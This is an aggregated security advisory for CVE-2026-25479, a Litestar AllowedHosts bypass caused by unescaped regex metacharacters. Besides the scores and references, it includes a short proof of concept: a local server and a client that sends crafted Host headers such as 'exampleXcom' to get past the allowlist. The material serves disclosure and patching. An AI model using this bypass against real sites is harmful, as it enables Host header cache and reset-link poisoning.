6.5medium
Litestar has an AllowedHosts validation bypass due to unescaped regex metacharacters in configured host patterns
- Severity
- 6.5medium CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.35% (higher than 31% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-93ph-p7v4-hwh4PYSEC-2026-2196
Description
Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| litestar-org litestar | < 2.20.0 | CVE List |
| litestar (PyPI) | from 2.19.0 before 2.20.0, before 2.20.0 | GitHub Advisory Database, PyPA Advisory Database |
| litestar litestar | before 2.20.0 | NVD |
All scores
| GitHub_M | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
| GitHub | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
| PyPA Advisory Database | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
Litestar is an Asynchronous Server Gateway Interface (ASGI) framework. Prior to 2.20.0, in litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname. This vulnerability is fixed in 2.20.0.
GitHub Advisory Database
Summary
AllowedHosts host validation can be bypassed because configured host patterns are turned into regular expressions without escaping regex metacharacters (notably .). A configured allowlist entry like example.com can match exampleXcom
Details
In litestar.middleware.allowed_hosts, allowlist entries are compiled into regex patterns in a way that allows regex metacharacters to retain special meaning (e.g., . matches any character). This enables a bypass where an attacker supplies a host that matches the regex but is not the intended literal hostname.
PoC
Server (poc_allowed_hosts_server.py)
from litestar import Litestar, get
from litestar.middleware.allowed_hosts import AllowedHostsConfig
@get("/")
async def index() -> str:
return "ok"
config = AllowedHostsConfig(allowed_hosts=["example.com"])
app = Litestar([index], allowed_hosts_config=config)
uvicorn poc_allowed_hosts_server:app --host 127.0.0.1 --port 8001
Client (poc_allowed_hosts_client.py)
import http.client
def req(host_header: str) -> tuple[int, bytes]:
c = http.client.HTTPConnection("127.0.0.1", 8001, timeout=3)
c.request("GET", "/", headers={"Host": host_header})
r = c.getresponse()
body = r.read()
c.close()
return r.status, body
print("evil.com:", *req("evil.com"))
print("exampleXcom:", *req("exampleXcom"))
Expected (vulnerable behavior): Host: evil.com → 400 invalid host
Host: exampleXcom → 200 ok (bypass)
Impact
Type: security control bypass (host allowlist) Who is impacted: apps relying on AllowedHosts to prevent Host header attacks (cache poisoning, absolute URL construction abuse, password reset link poisoning, etc.). The downstream impact depends on app behavior, but the bypass defeats a core mitigation layer.
NVD (es)
Litestar es un framework de Interfaz de Pasarela de Servidor Asíncrono (ASGI). Antes de la 2.20.0, en litestar.middleware.allowed_hosts, las entradas de la lista de permitidos se compilan en patrones de expresiones regulares de una manera que permite que los metacaracteres de expresiones regulares conserven un significado especial (por ejemplo, . coincide con cualquier carácter). Esto permite una omisión donde un atacante proporciona un host que coincide con la expresión regular pero no es el nombre de host literal previsto. Esta vulnerabilidad se corrige en la 2.20.0.
References
| https://github.com/litestar-org/litestar/security/advisories/GHSA-93ph-p7v4-hwh4 | evidence, exploit, vendor-advisory, web | |
| https://github.com/litestar-org/litestar/commit/06b36f481d1bfea6f19995cfb4f203aba45c4ace | fix, patch, web | |
| https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0 | advisory, release-notes, web | |
| https://github.com/litestar-org/litestar/releases/tag/v2.20.0 | advisory, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-25479 | advisory | |
| https://github.com/litestar-org/litestar | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-25479 changed 2026-02-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-93ph-p7v4-hwh4 changed 2026-07-13 | CC-BY-4.0 |
| NVD | CVE-2026-25479 changed 2026-06-17 | Public domain |
| PyPA Advisory Database | PYSEC-2026-2196 changed 2026-07-13 | CC-BY-4.0 |